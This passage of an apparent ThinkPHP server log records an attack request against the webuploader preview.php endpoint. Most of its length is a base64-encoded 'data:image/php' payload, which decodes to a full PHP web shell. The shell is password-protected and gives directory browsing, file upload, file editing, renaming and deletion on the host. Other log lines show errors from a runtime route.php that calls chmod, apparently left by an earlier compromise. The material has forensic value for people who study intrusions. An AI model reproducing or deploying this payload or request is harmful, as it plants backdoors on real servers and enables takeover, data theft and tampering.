ZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:27:11+08:00 ] 119.42.146.234 POST 51tianwei.com/plugins/webuploader/0.1.5/server/preview.php [运行时间:0.002704s] [吞吐率:369.80req/s] [内存消耗:196.66kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'plugins', 2 => 'webuploader', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXR